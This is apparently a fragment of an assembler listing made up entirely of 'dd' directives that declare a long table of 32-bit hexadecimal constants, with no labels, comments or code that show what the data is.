		dd 618F88EDh, 45541C81h, 0DA0E0017h, 601FE86Eh,	826C4E01h
		dd 0F60B9BC5h, 2C2F9E4h, 3CEC102Fh, 4840B938h, 557511CDh
		dd 0D79B5300h, 59B0CC9Ah, 94500015h, 0B2CF95DAh, 82001357h
		dd 0EC2E398Fh, 0E6BBBDh, 61374570h, 0E2ACBEEDh,	2D416C00h
		dd 9F1B0684h, 6ABC016Bh, 0A41F4537h, 23F89214h,	1C69F820h
		dd 1D1A00FDh, 63D9CE5Fh, 6600A917h, 0EB6CE039h,	7853C8E9h
		dd 9E05075Ch, 908DBAE2h, 17D84A7h, 67213Fh, 2A936B2Ch
		dd 476088h, 0D7F4D61Dh,	6A62CCEAh, 0AD7FEE00h, 57F88C9Ch
		dd 1760F514h, 6CA201FDh, 0A89AF9B7h, 6EA8E71Fh,	6700C14Dh
		dd 0BA045686h, 5B8937h,	0B388928Ch, 548E4EB8h, 0B49A39h
		dd 0FF23D47Ch, 0BBFB2Eh, 0E83915B5h, 733D6863h,	0E4FFFD70h
		dd 8C000462h, 5702F3BBh, 3A3A0EEFh, 10009A2Dh, 0B9247726h
		dd 4100AAA8h, 617A4407h, 0D51D7Dh, 60901A13h, 0E99F4FFDh
		dd 9919BD0Fh, 912940FEh, 0FCFBEE49h, 0ECAA0EA7h, 858056C4h
		dd 0C10FA22Ah, 2200B37Dh, 0CC063010h, 0B17B60h,	141E64D6h
		dd 3E53316Eh, 655F5900h, 0D55451D7h, 0B4790034h, 95C3A01Ah
		dd 5A007A7Ch, 0C8A2DCE8h, 4ABB233h, 0C5ED0F35h,	0BFB4B044h
		dd 0CF13F31Eh, 6E91850Fh, 3D0016C2h, 4590843Dh,	12FE00C1h
		dd 8F418BC8h, 393B4222h, 0ADC68015h, 38431F99h,	0C29F0016h
		dd 58CA93B9h, 0CB09D2Fh, 0CD97DE50h, 0C70EEE00h, 0BA43815Ch
		dd 500A1DE8h, 0E3A6004Ah, 2FD97767h, 865FE00h, 75936F86h
		dd 957445h, 0FFB4AC8Fh,	53C52CCh, 41F24700h, 6DAE66D4h
		dd 0E96E00D5h, 0E707CDFCh, 0E60370BFh, 66F540FAh, 0D7E1C073h
		dd 0C0F807F4h, 10EFDDBBh, 0ACA4FB8Eh, 12004D72h, 3E215ED2h
		dd 1E6A9BF9h, 668FE73Ah, 0F4813FE1h, 0C1A34CF1h, 5FBEE829h
		dd 1E0057F2h, 2D2564Ah,	0E8EDCE4Eh, 0FD340038h,	55E3C7F6h
		dd 0AB0020E8h, 4E881D99h, 0F816070h, 0E1DD9158h, 0EA84DE63h
		dd 69F35990h, 65CB0500h, 7153B8E2h, 8DD60722h, 9FF98AB6h
		dd 0DB4D829Dh, 56E13224h, 9DCBD0F3h, 0B4B958h, 8795BD64h
		dd 4208FAh, 0A23DA720h,	6F69378Eh, 7491BF03h, 0D8D87080h
		dd 139A9359h, 6BE3E4h, 0CAFA37C2h, 2E785CBFh, 0CE18D400h
		dd 0C5C374C2h, 10D560DAh, 0D2A5ED29h, 946EEC00h, 6F014358h
		dd 144B0C7h, 7F984B4h, 0D85A4DAAh, 0EF00BC23h, 0FAB09EE2h
		dd 0E72A73h, 47333992h,	2858014Fh, 0E8D02E00h, 0F3E3B008h
		dd 31070017h, 0C77E919Fh, 67005ED7h, 4FAA4801h,	1ED1D9B8h
		dd 40927243h, 91DEECE6h, 367C6FFDh, 79853507h, 0C7A07F3Bh
		dd 100F67h, 74AC596h, 0F308CD1Eh, 0F168DD00h, 552D4049h
		dd 2B03001Dh, 74F50FB3h, 29001288h, 0BC24DDE9h,	0A4600Ah
		dd 13E1A530h, 17B45EAFh, 95C42300h, 976109Bh, 0CDEA21h
		dd 0A881A02Ch, 0E50E4622h, 0AE6F6E00h, 5D4E42E0h, 96710023h
		dd 0C4A7EACEh, 22009D6Ch, 158DAE06h, 0D88090h, 2DF5E991h
		dd 64AB7F9Ch, 8CD06C0Eh, 6FDFE014h, 3A3B327Bh, 6BBE7939h
		dd 87A7F200h, 3E7AE898h, 21BD0A00h, 5FD1E7DCh, 933F00DAh
		dd 285531ABh, 58004EA9h, 9A68CC1Ch, 9806CF34h, 534F0084h
		dd 0B6086A9Ch, 1448ABD0h, 82A81E59h, 0BD3285C0h, 9C142C0h
		dd 990F6387h, 117DC60h,	0FBDC781Eh, 2403007Ch, 0FA94CE84h
		dd 351900ACh, 0B69CDEDFh, 900325F0h, 6D2B7D5Dh,	38CB9836h
		dd 19B11E82h, 0F734C062h, 0B3780F5Eh, 0E888030Eh, 8EBA0C8h
		dd 3E656EDh, 0A3D77571h, 8EA8B7DBh, 0CE3E83FAh,	0A4D92E91h
		dd 90D55580h, 136F711h,	0FE88B7D3h, 0E06E411Dh,	7E028E97h
		dd 9F83B170h, 9E16E011h, 257681h, 0C13507D5h, 0BE1540F5h
		dd 0B1007278h, 9ED6DE60h, 1499630h, 0DA70B28Eh,	0E8721D09h
		dd 330010E0h, 0D7224CD0h, 88AC5h, 6776CAB1h, 77BF3543h
		dd 98F0D1EAh, 0F621A23Ah, 0C16B650Ch, 0AD7874h,	13D46A66h
		dd 7A53F376h, 71069000h, 709C1C3Fh, 5F3D0B36h, 37800C2Eh
		dd 2DE82BDDh, 0B8EC4A02h, 0F014FC9Eh, 99900B8h,	0A0103A45h
		dd 9A7DACC7h, 132F4800h, 93AFC889h, 2D460316h, 0AC55BCDh
		dd 9448D4BAh, 500C347h,	8646D115h, 39C55396h, 973F1CC6h
		dd 0B9822F85h, 334CC3CDh, 7652A2B0h, 0C9BF781Ch, 0A5E02AF7h
		dd 4437F36h, 49D0F9F0h,	5648C089h, 4A00B5E9h, 7A827EB0h
		dd 0C48D0Fh, 0B6D2AECAh, 5B075486h, 0D75D9300h,	7337BEFCh
		dd 1580001Eh, 0E9C217E0h, 0D4B82623h, 0F31CA9E8h, 1F80506Bh
		dd 1D2E30B4h, 0A1313A7Ah, 902C0487h, 1086804Ch,	0F67A2BBEh
		dd 0CD077C1Ah, 0C9F4E0B8h, 0AAD50099h, 1C572F40h, 0D81F84CAh
		dd 5880439Fh, 0D686C31Fh, 0EAFD079Dh, 0D0A67A34h, 0B82202B7h
		dd 0A5952F00h, 2616B640h, 363105C4h, 1298556Ch,	5D0A0390h
		dd 11D0EC19h, 17254807h, 0DB844993h, 4DF9AFDDh,	0F7DD830h
		dd 0F35D77D7h, 81780017h, 45C76D8h, 0C912FF06h,	6011CC7Fh
		dd 79D13169h, 0C790F15Fh, 8FA3CE0Eh, 0BF97448Ah, 6D5CF4h
		dd 0CA7C141Fh, 5D9DACD5h
		dd 57183360h, 0E890F471h, 0C0972A16h, 0D21E4018h, 8807E81h
		dd 97668059h, 0F901C60Ah, 5DAEC7B5h, 8E43C592h,	6BF6E81Ch
		dd 7AEA2Fh, 33BAF46Fh, 14E7C16Ch, 7D89880Fh, 54344369h
		dd 86F91201h, 80248702h, 6F61CC3Ch, 0D8E0F4F0h,	0D4B33700h
		dd 7897BDADh, 0FEB601D6h, 0EC3E8B7Bh, 233CD061h, 201B8628h
		dd 2C433428h, 0B8C27C30h, 14D9AB04h, 141A86B9h,	11711C00h
		dd 97CEB1E5h, 0D404B00h, 0D926D7CBh, 0F6E64Ch, 0B6DA2841h
		dd 1E16D843h, 91311872h, 86F740BDh, 99483FC3h, 8801BE27h
		dd 1B0C293h, 8014FF5Eh,	9CF20A73h, 664757Dh, 2C204728h
		dd 0E4812D01h, 13448708h, 0F983885Bh, 5070DB01h, 85BD559Eh
		dd 0EC6D0D60h, 0BCF49Dh, 7BE30C84h, 0D8D48DDBh,	9CA5D538h
		dd 0D35E4326h, 29A9D940h, 354528h, 3EAD61C4h, 98B3A204h
		dd 0C8AC6F00h, 0DF2B2943h, 56CA0026h, 37253873h, 0F600A865h
		dd 85673E7Fh, 0ECA772h,	48949F0Ah, 10EEBB2Eh, 0E5B98D00h
		dd 6D225DFCh, 11E91E16h, 0CABFC0A3h, 0BAA63213h, 6E82A407h
		dd 50E07C1Dh, 159FA8h, 128746DAh, 9B09AB83h, 27A6E51Eh
		dd 0AF934400h, 659903h,	29D5F58Fh, 0D11C6646h, 205B6000h
		dd 1035C326h, 0BE7D12h,	0B680C223h, 38F3CB2Ah, 58534500h
		dd 78E96385h, 426E6E0h,	0A277908Eh, 3440C19Fh, 0BA75D0ECh
		dd 0BE7A2800h, 2656F03Ah, 9DAF00A9h, 36C1C0Ch, 0F1001214h
		dd 5316BF65h, 511A2Dh, 0A69FCFBEh, 274B3866h, 0EE7AC50Fh
		dd 0FB61A076h, 475C94h,	935D0DAh, 4CBB145Dh, 93FDBC00h
		dd 0F77C3D37h, 0DEE9Ch,	7F0CCA16h, 0BF3941D8h, 6B6F3500h
		dd 6F38130h, 0F0380087h, 37D403E8h, 0C7A30893h,	8B2C13D0h
		dd 98007E79h, 63EA1770h, 0AF046Eh, 0DDFC47B1h, 0A82D58C7h
		dd 41205C02h, 0C0092E2Ah, 8459EDh, 0A499EC5Bh, 0C1E2136Eh
		dd 70149100h, 0B97CC306h, 0F102024Dh, 2835CCDAh, 27EE16C0h
		dd 2D47A600h, 0F38E45D3h, 7D38017Bh, 0F6E4101Ch, 0EC91DCBAh
		dd 0A60FD57Fh, 4E49A99Ch, 0D0D22925h, 3FF50020h, 0F2AA7060h
		dd 0E3005BA5h, 936B5542h, 5CA4EBh, 6D573CF6h, 2072BBFDh
		dd 85E3E538h, 65957792h, 0D7DFF800h, 3937590h, 6A0B7980h
		dd 0E69B9B11h, 46E2F2B0h, 69B46100h, 4F5D8657h,	0F0C800B6h
		dd 0BE79425Eh, 7203251Dh, 0D8AAABBFh, 0F730D031h, 6D820065h
		dd 0B76C10D3h, 0A1002225h, 0BA381BEh, 0E290E6C2h, 0E3291C0Ch
		dd 4F954026h, 0DE2A9A2h, 0F7E48305h, 0D1836A18h, 7E71C0DEh
		dd 5BD20EC3h, 3920F43Bh, 82F924B2h, 56192C00h, 3D40FAAFh
		dd 1FCC07BFh, 0C065423Bh, 38D1F6B4h, 8F096E00h,	0B33E153Ch
		dd 76BF139Ah, 35C1DDBh,	0B04D57D2h, 9C51D100h, 0F1154A53h
		dd 0C48600D4h, 0DE5BCBA1h, 6F00647Dh, 0F25985FDh, 0E6ACA9B2h
		dd 6D391E7Ch, 0BF8CC071h, 7817241Eh, 4533C300h,	11D894EDh
		dd 56980064h, 5BB9502Ch, 0CC000E53h, 828E4B96h,	88E2ABh
		dd 5D287E6Ah, 1E9D66D3h, 8D177098h, 0A400BA0Bh,	84F75C6Eh
		dd 891D0005h, 209CAB1Ah, 6C0FD493h, 70CB4Ch, 1C319907h
		dd 173E886h, 686DBA96h,	80645FDEh, 33090D28h, 148933Bh
		dd 0A665FE8Fh, 0CCD8B3BDh, 87A05A8Ah, 8B0F9D72h, 8739C40Bh
		dd 83CE7134h, 0E0FBB975h, 2BD61Bh, 0C21103D4h, 0EDE20F82h
		dd 0AE3A8A7Eh, 8D228371h, 886C04C9h, 0A7FDACh, 97DBA2E3h
		dd 0C42F0C7Eh, 2711D200h, 0E8F84078h, 0D9C60023h, 58FC0FCDh
		dd 0E9058307h, 0CC9E036Fh, 3954D800h, 3AAB3DB6h, 10BA7886h
		dd 0F8DAD480h, 1E6FC936h, 69AAC407h, 9FC067AEh,	0F2506C4Bh
		dd 89940BD6h, 402F36E1h, 40F89D9Ch, 4D5F9AEFh, 0BDEC0A5Dh
		dd 5C95ED03h, 0B0084A4Ch, 138953BBh, 2F841Eh, 0EFDE1AF8h
		dd 1B00882Ah, 0E0147169h, 0F2BF1h, 9B2C4272h, 9AD5E640h
		dd 0E674BB2Eh, 0EFFCFF00h, 1EEE631Dh, 8935F2DCh, 2C20BFBEh
		dd 0DAD3A8EDh, 7BFA7100h, 0CAF1EB63h, 13730102h, 0FC8723C2h
		dd 0D634208Dh, 7080D71Ch, 0FF8AC83h, 8A1C80A8h,	82050073h
		dd 95576E9Ah, 86009F66h, 39D7C911h, 1AB3AD5h, 93805ADFh
		dd 0C82132E9h, 46001DEEh, 2E3E1898h, 0E6CFFDh, 741061E5h
		dd 0C2AE7797h, 49A08814h, 3D72FD8h, 0F854EA41h,	7171E4Ah
		dd 3D2804A9h, 7CCF00DBh, 9803430Ah, 7B3282F1h, 0F295B099h
		dd 68C21ED2h, 722340B2h, 5CE16F56h, 66BAAC03h, 88D4A828h
		dd 18130CCEh, 18AD08A5h, 1800C619h, 399BCC73h, 0D23538h
		dd 0AA83F82Fh, 0A05B2E3Ah, 67DA2900h, 70E9F677h, 4E430EC5h
		dd 0B7630784h, 49C082EAh, 0AC0F7257h, 0D7941Fh,	2AAFB0C0h
		dd 6FA50720h, 40A0604Fh, 216A0D82h, 631E69E0h, 0CCC0E696h
		dd 0D27D6B98h, 498EDh, 6CE00D7Fh, 0C1518A54h, 3BFA813Ch
		dd 4C890071h, 0DEF880C0h, 79B7006Fh, 0B1D1BCD0h, 3F711AA1h
		dd 0CDC0CF0Bh, 416907ADh, 9A05F21Eh, 0FC801032h, 7DB86BACh
		dd 0EEE60069h, 0B7A95C93h, 0CC0034BFh, 0B0BDB5CBh, 0D319AAh
		dd 0EACF8815h, 7B065646h, 1E715E00h, 384D076Ch,	271800EBh
		dd 8511C188h, 809FDEC6h, 54EED704h, 0A6C075Ah, 0C04E780Dh
		dd 23BEF0FBh, 0D3A4AE00h, 97721C0Eh, 33360E35h,	97146CC8h
		dd 0E6AB8500h, 407079C4h, 0D5B37600h, 0B9449D6Dh, 3DE30158h
		dd 879E612Ch, 427A800Eh, 91F267FDh, 0A7A100EAh,	7920CFC8h
		dd 1E3DA3D1h, 9D118056h, 80585926h, 98B903D9h, 606D67F8h
		dd 0D66AFA90h, 0D4489DE4h, 9EDA00A8h, 0FB17485Ch, 409F0302h
		dd 5EA11853h, 0E8615AB9h, 0D1B01A0Ah, 0C3486C09h, 0C068C264h
		dd 3B1F3023h, 0D293708Bh, 230402E9h, 860D9AFh, 0C201D838h
		dd 0AB1124D7h, 0C020C90Ah, 7ACD0006h, 0FA200E88h, 1E023378h
		dd 83178FA6h, 46604005h, 135C03DAh, 32398D6Eh, 4A5824F0h
		dd 5D150D00h, 0B3575B0Fh, 0AE9F1D5Ah, 850502DCh, 0C0C0FF92h
		dd 0A0007FB5h, 0E5326A30h, 1C82A31Ah, 80532B95h, 7CB61BE4h
		dd 0BD0E2D97h, 40E025FBh, 0B752A423h, 0DCF0D5h,	50981F11h
		dd 0B940D3B5h, 52ACB10h, 0B2CC2607h, 2F2BA0F1h,	0F300BE6Eh
		dd 53ECFA7Eh, 0D2C1EDh,	0F9505631h, 0BB53409h, 4D0127FAh
		dd 1583F7DCh, 0C6C87211h, 2C9900ABh, 0CB349B22h, 0E000E9DAh
		dd 0C8B73D76h, 3A296Fh,	9F7A7FA1h, 0E4D0C5DCh, 1B0380F0h
		dd 313F3449h, 7839008Ch, 0BC8F1D37h, 707EA83Dh,	36AD8E00h
		dd 4FFE88BAh, 9DE700C7h, 9ED9E253h, 800572Eh, 84FB4C3Bh
		dd 34B4F06h, 9E3E9B0h, 0DEF1E0F5h, 0A490E72Bh, 2818925Bh
		dd 3F68276Dh, 31D260E1h, 0BFF01756h, 0A49A863Dh, 833958C9h
		dd 1362DF5h, 1880A516h,	0FEEFA77h, 98DBDD1Ch, 7EB6AE60h
		dd 290014A6h, 0D264EB96h, 39BC6A85h, 6507F06Bh,	0A07B39F5h
		dd 3EB31522h, 0C0B7C607h, 0E350C341h, 4C364DA3h, 83DC425h
		dd 0F8B0CE00h, 6C81038Ah, 9C7E630Eh, 1C99E7E9h,	3050C5F0h
		dd 7648397Bh, 84B95380h, 0D613AE64h, 0EF08DA0Bh, 0AC7F00E0h
		dd 0D802D7h, 35FF6F39h,	0A974580Dh, 9BE8403h, 76BCB01h
		dd 0FD0F5620h, 0B5177052h, 5000B3B6h, 0D21ADBC9h, 0F64DE8h
		dd 190F84BDh, 0BA0A5165h, 13BBA400h, 7F8B8D9Ah,	94F6178Ch
		dd 4B9300F9h, 439CB570h, 0D01DB300h, 0BBC3990Eh, 0BB1001Eh
		dd 0C49805E3h, 0AD0022CFh, 0C915C16h, 6BBA966h,	2093F15Ah
		dd 0C4004836h, 0AF782C05h, 0B0A189C1h, 1802F21Ch, 490C269Ch
		dd 0E700DADFh, 170B92FBh
		dd 28C753h, 9B1F24E1h, 61C08ADDh, 0A35BBC00h, 0CA2ADEC8h
		dd 8E7D0397h, 1AC4C73Dh, 15895C0h, 817E7839h, 0AB24B7F0h
		dd 0E460D24Bh, 0E08858B2h, 0D0E626h, 0E3543B1Dh, 0BB1CF068h
		dd 43C0C9F6h, 0CC3F793Ah, 5A4EE2h, 64474540h, 0A201B414h
		dd 3243C7B7h, 0A3D81767h, 48C800B8h, 51196944h,	7000F8B3h
		dd 22E7E6F7h, 2F959C9h,	0CBD2FB64h, 8055C720h, 0D8A33A2h
		dd 0E4630079h, 0D7D8A041h, 0E971EFD4h, 4F2170E7h, 89D93A00h
		dd 5C334B48h, 0F2310065h, 0E497DC1Eh, 0F02604C0h, 0C2011E44h
		dd 25E8915Eh, 0CEE255D0h, 0B247B1B0h, 0BA9C20BFh, 42002F02h
		dd 9DEDF6B3h, 713767h, 1FE8327h, 0D0847C88h, 7E9ACE00h
		dd 5196F34Bh, 6591277Fh, 2564B083h, 36B84097h, 32C05D61h
		dd 7802AC92h, 0B27700C5h, 4E6E848h, 8008CF5h, 895818FFh
		dd 6136831h, 57474CF0h,	0BD019916h, 8871BB30h, 0F424E5C9h
		dd 8A7300BAh, 67A1F3C3h, 88BACEE6h, 7608E450h, 0F2CA8B00h
		dd 0D1E564A0h, 0AD7C0475h, 0F8489D0Fh, 617F01BCh, 14F84BAh
		dd 388BC14h, 0A5768E14h, 3C800FDDh, 0B0661ECh, 4401101h
		dd 27209E5Ah, 0F96F5401h, 0C4B18013h, 97D5CAD8h, 86B49EC1h
		dd 2114216Fh, 42B400B5h, 16F0FDD6h, 0A1A7F468h,	236438A4h
		dd 6187B9ADh, 0D040B1F3h, 0BB11F7F6h, 0D06AA22Ch, 9FBF990Eh
		dd 2D029300h, 2EF8ECFCh, 306A167Ch, 717D9141h, 15D5BA00h
		dd 8C3EB26Bh, 9B67461h,	0AD2C8632h, 89A1A8D8h, 51636093h
		dd 0AC6DBE1Fh, 6827F12Ch, 168E6ED0h, 0B442E159h, 0F7679510h
		dd 55C0D648h, 38047Fh, 7E10DE2Fh, 0A6ECD972h, 805C079Dh
		dd 54BFDD40h, 1902035Bh, 1F1BF204h, 4DB10800h, 18BBF343h
		dd 98DD541Dh, 6ED6002Bh, 0D15467CDh, 76073C6Bh,	0D4AEEACEh
		dd 739F8430h, 0DBD93009h, 28347C31h, 8EC5CD1Fh,	19EFD30Ch
		dd 55330BE6h, 0E4006B0Bh, 4E690F85h, 8CE9D400h,	3CF486AAh
		dd 808D3C2Eh, 0A5D86C83h, 0D2B85A8Bh, 6FF8B5C9h, 0DD27AA01h
		dd 0BB97B6A3h, 7C178E60h, 5C220FA9h, 0B840CFE2h, 1401249Bh
		dd 6EAD5451h, 1351B440h, 0EA293490h, 8E383D37h,	0B26E5785h
		dd 40DCB91Eh, 3E07A3BEh, 27F90947h, 0A1B09C57h,	0B067CBh
		dd 1D368797h, 96F75501h, 0E16C40E5h, 0C4A8F038h, 92063A5Ah
		dd 0D11E08C6h, 7D810021h, 820ABE31h, 190F2CC0h,	6060EC39h
		dd 0B9AEA29Eh, 811E27F3h, 96FD6860h, 1CC75B07h,	2F0F92Dh
		dd 0C7E839FBh, 705762C6h, 0A6CDACD3h, 0A2287C00h, 0AE1C0B3h
		dd 475F07E0h, 0E35929FAh, 8E01BDCh, 0E803FE93h,	9927F2A3h
		dd 0B85CB097h, 2CA70001h, 0C5F62ACDh, 30C0E3E0h, 0D00C4C56h
		dd 0D58A3E46h, 0DA550074h, 8C9119CCh, 3A0024C1h, 672F0FB7h
		dd 3AABB8Dh, 0ECE0145Ch, 4490F6DAh, 0D000461Bh,	69DF6C97h
		dd 0B55C18h, 8CFAC85Dh,	729F2B12h, 9A54F8F7h, 562E1100h
		dd 0E6ABB032h, 39D47BDCh, 9800451Dh, 0BFEEF68h,	1C07BB56h
		dd 0C2A94DB8h, 39A49CC0h, 213700B5h, 0D5184748h, 0E416538Ch
		dd 0E7111BE8h, 0E6E4E304h, 0DD048729h, 103CA206h, 12300010h
		dd 0E4D196C0h, 0BC0013A4h, 0A1A8941Bh, 38A30C7Fh, 3A065493h
		dd 29BD9830h, 220FC022h, 9742A087h, 21231011h, 9DB708ECh
		dd 7E846B90h, 6C185317h, 89ABE129h, 44BE084Fh, 22847419h
		dd 4342C5C7h, 90441139h, 0AFA52284h, 0DA114742h, 123C1105h
		dd 77D5E711h, 1EB82284h, 59113842h, 53FF11C2h, 44107121h
		dd 48C14C84h, 42342F3h,	0C4216024h, 11F712BEh, 795D937h
		dd 23C480C8h, 3F7BFEC9h, 0DFAE7907h, 7880E7ACh,	0E29553h
		dd 2BE6A9C3h, 2932F983h, 0A15CDAEEh, 46AC0012h,	0A0D5AA28h
		dd 0A81A0F53h, 0D300FB9Dh, 0A4CF7A89h, 0B666DA07h, 0E1A085A2h
		dd 0E578ECh, 734F7F1Eh,	0F84150CFh, 569A3930h, 7D237Ah
		dd 28118014h, 37DD2E0Bh, 0B6E98A01h, 872AB50Ch,	80EBC4h
		dd 94F6DBDEh, 0ADC76D2Dh, 1E904B1Dh, 9F6A20C0h,	11FF89Ch
		dd 3E4C2481h, 0CCB5E454h, 22FEF368h, 0FAAB6D00h, 0FD371D03h
		dd 5A765888h, 801CDC1Ch, 0F9E29064h, 5E01CBEBh,	0E38FDB3Fh
		dd 83705DEDh, 0D12C005Fh, 0AA4B5423h, 83D1369h,	78E8094h
		dd 0F029A8B2h, 35B700D3h, 0F56CCB62h, 0B300B8B9h, 522EEF64h
		dd 47ABE5Eh, 4304B2D9h,	3E90801Ch, 0F3008B1Bh, 0C49FC6FBh
		dd 0B61041h, 85225CE1h,	0E2EBDE76h, 0AD775A07h,	0FCB07B27h
		dd 13170E8h, 0CC8F3D0Ah, 0E052E28Dh, 0B930F18Bh, 0B2BAE2E4h
		dd 9AA43B15h, 4F381387h, 0EF873165h, 0C8EE8090h, 55BEEC35h
		dd 0E2E60025h, 8CAA772Bh, 6600CD52h, 15719BEDh,	0E9E3D63h
		dd 0CC074174h, 73523F80h, 0DA012780h, 0C96EC617h, 7BECA0C0h
		dd 9E8500EEh, 0DBD4D5E5h, 0CA0C6B61h, 0E9E2DE9Fh, 2A3700B3h
		dd 8E81BB96h, 62173FC2h, 3006FDFh, 0EF2CE49Eh, 3E77007Ah
		dd 3BE583F9h, 766079F0h, 2B8F9710h, 0C9B52EC4h,	4803D90h
		dd 0D99F450Ah, 0F500A0F8h, 99DC53E1h, 1B17259h,	0F6AB0957h
		dd 0D83A7938h, 5203B739h, 42DE5CFCh, 0F07B085h,	137A7B66h
		dd 0E797Dh, 0B3556A02h,	120010D5h, 0F09E35BDh, 567A1Eh
		dd 627EAFF3h, 5BFF2D9Fh, 8DA3DF1Fh, 1A74C680h, 23D75Dh
		dd 7816FD6Dh, 3BE440B9h, 0B00035EAh, 4562792Dh,	60DAEBh
		dd 0B6FCDBFBh, 942A6C6Bh, 2DE00DF2h, 2C7E4C1Fh,	0DB52D200h
		dd 93B41B9h, 0C6DBC82h,	3E18A100h, 9C701265h, 0BB2B2600h
		dd 0F56E39DDh, 49A90E95h, 0F3E09072h, 74CA344h,	88578600h
		dd 42E83A67h, 6DF6ACh, 0C51A0EE5h, 5B6BBDB3h, 0F000F277h
		dd 4D0356F5h, 0A124B14Ah, 0FBE496D4h, 0EE520709h, 208277CBh
		dd 0C2530AFAh, 967BC700h, 4108F54Ch, 66911C60h,	1423C092h
		dd 6185739Ch, 22909303h, 0DF9FA010h, 0B78EB540h, 0F39200A9h
		dd 0FD155D23h, 0AE001EE8h, 4F9F78B2h, 1C2A3AADh, 804A7765h
		dd 948DA74h, 0F1004EA1h, 0CB295DB6h, 0FEBFFE51h, 0D71F0F8Bh
		dd 0B220DF58h, 0A93F8FC9h, 4D2830C0h, 0BC1B3Bh,	3DF4EF79h
		dd 6712CEFAh, 0B2623700h, 2F83BFC2h, 98A9004Bh,	2420404Eh
		dd 0E00078BBh, 33E6759Ch, 594690h, 0D2B545D3h, 5B31E20Dh
		dd 0EA022FF2h, 4B106575h, 6370C0E7h, 0ABFE0315h, 0CF49CC1Ah
		dd 604032A8h, 3E87A200h, 0F21B5A4Fh, 577C004Ch,	0A6B5E0C0h
		dd 0D8001A16h, 0DCDA8393h, 60CF4018h, 27616EFCh, 2C3C1BC9h
		dd 1C600472h, 58C0C1B2h, 0E64BA7FAh, 0F6951C2Dh, 2B454067h
		dd 3E745F93h, 0D9D76001h, 0D5C90433h, 0E8D8E1C4h, 1E143EFAh
		dd 0B350E400h, 767CA635h, 100147EAh, 6CEAF11Bh,	0F7703C02h
		dd 0E32030CBh, 0C7EF7B10h, 4E725D00h, 0F6847097h, 41360040h
		dd 10FFD2D1h, 167E3C37h, 0C9612801h, 0EED68DEAh, 0FE8BBBE4h
		dd 3C7EC65h, 0C4FA8C46h, 90CAF8F1h, 48BE0840h, 0B60C2F00h
		dd 23FE0EAEh, 0BC4100B0h, 0D6455EE6h, 364C9C13h, 0DF860A58h
		dd 2400B0F1h, 96D0C303h, 80D4002Bh, 0D1CAEC26h,	9CEE2793h
		dd 0D2F8AA28h, 92BF8714h, 3C3201DCh, 967CCF62h,	133147ECh
		dd 0D3563Bh, 0C7517F57h, 2FE9DE0h, 0EE8A2A00h, 5450D934h
		dd 0FC060005h, 0FB6FF9AAh, 9303BEF2h, 0FDEC9A63h, 0ED4498A6h
		dd 51EF008Fh, 2CCC87D1h, 9401A761h, 34BB7C1Eh, 3BCCD796h
		dd 2B140055h, 1CF7488Bh, 8603299Bh, 0E310807Eh,	45CDD80Bh
		dd 0C99BA085h, 0DE8901C6h, 0FE4F3CEDh, 0D4657003h, 6C42A100h
		dd 0FB7D0C86h, 0C85300A6h
		dd 6E8D07FAh, 0D97CB1B6h, 0BF975F00h, 8AB81D12h, 0EA270035h
		dd 0E1C64649h, 0E6018B74h, 37DBBAFFh, 0A6E8B79Fh, 3B220099h
		dd 855F3D19h, 0A338F9DCh, 12680058h, 0F7F5A5DAh, 0E47E0A9h
		dd 812E6B3Fh, 0A0675141h, 17CCA8E6h, 97D0B200h,	3AF4FCF8h
		dd 18050456h, 806493F0h, 0CEA43FA8h, 0C80ED307h, 2950795Dh
		dd 0F0BE5A97h, 0E95500E4h, 0F1902A28h, 6600F4B0h, 7A4475F2h
		dd 0A408AFh, 674F366Dh,	7B3304Dh, 0F683A800h, 41804BA2h
		dd 96AC00E9h, 851E664Fh, 1D2C9E6Fh, 0ED000A86h,	3005ECE7h
		dd 0E6EB00FEh, 9C82C144h, 7B005106h, 311BE85Dh,	0A2D8Ah
		dd 19FD71F5h, 32C8325h,	1DEF600h, 338030C5h, 0CD0700F0h
		dd 0E9546CF7h, 6909EA04h, 0D66BE398h, 65CE00C8h, 36D7529Ch
		dd 6C7C462Eh, 4076180Fh, 0D4731A14h, 0B259007Dh, 0DD1FF471h
		dd 6A0002EEh, 0EDE787CFh, 0BED36Fh, 0DAD09C79h,	6046F74Eh
		dd 0CCA3Fh, 0DFBD35DEh,	1DB0BA2Eh, 804E6977h, 9879B210h
		dd 0A4148FF6h, 0FDEC61h, 8D28B980h, 635335h, 6DDEF2C9h
		dd 0E82B57E0h, 0F892C800h, 55807AE2h, 0F4CC0ED8h, 1D80B48Eh
		dd 6CC9C081h, 6A7ED00h,	5F25CEA3h, 7EDA010Dh, 0D0A4C28Ah
		dd 23F5E408h, 59E2C900h, 0AC15C89Ah, 978702DEh,	3374B07Ch
		dd 0A3D07240h, 0B7118400h, 7D2E641Ah, 16CA09D4h, 17803F6Eh
		dd 125EE093h, 8CA2D30Fh, 0F2FDE0E8h, 0A01FA5h, 0D98BC32h
		dd 69F3EBEh, 4C39DE00h,	0C0FCB790h, 0E9D2039Dh,	378222BCh
		dd 67EEF2A8h, 0B8920100h, 0E733550Fh, 0C4A001D2h, 2AB2B49h
		dd 8D98E3C7h, 9900AF6Bh, 0DAAC860Eh, 13FBDEh, 0C79B6F3h
		dd 0B044DDB7h, 6B062605h, 33805DF7h, 702EA9h, 87986C47h
		dd 0B609592Ch, 0BC071507h, 0C960D0h, 0B500DA1h,	204C0031h
		dd 628094E6h, 6F00FA3Ah, 0ECDE2422h, 0EAB2E2FEh, 385F4832h
		dd 5C1E900h, 759A6D11h,	0CB638200h, 366E1204h, 0FFCE0759h
		dd 4037EBC7h, 93B50F13h, 0DBBD4600h, 0C41B5341h, 18C98ACh
		dd 8A575DDFh, 24FF9F1Fh, 7E00D038h, 9E1A1BC4h, 5AF999h
		dd 90D4106Dh, 3B697F1Ch, 6A739800h, 4C829B09h, 404A008Ch
		dd 801F97ABh, 0D201500Eh, 884668Eh, 36D43D6Bh, 0C775B1h
		dd 29240965h, 4B73F33Fh, 16E79F00h, 0AC964046h,	2C524842h
		dd 0A05D5600h, 0F7B58F84h, 0C6F6DE72h, 0B8322416h, 0FAB84C56h
		dd 6CE47E01h, 0BDD58101h, 225B801Ch, 0AA16E38Ah, 917F0053h
		dd 84B7602Eh, 0DC009E54h, 2C9FFDBEh, 242ACC41h,	76E9C25h
		dd 303C49B7h, 0E10971BAh, 21F33400h, 1D023B67h,	352797Bh
		dd 64E6CB54h, 0A00010DAh, 8C1BA41Ah, 196C3Fh, 0B655CC82h
		dd 42A577D7h, 0EA4EF301h, 0BFC9F4CBh, 2FB0D4h, 0E1640EB3h
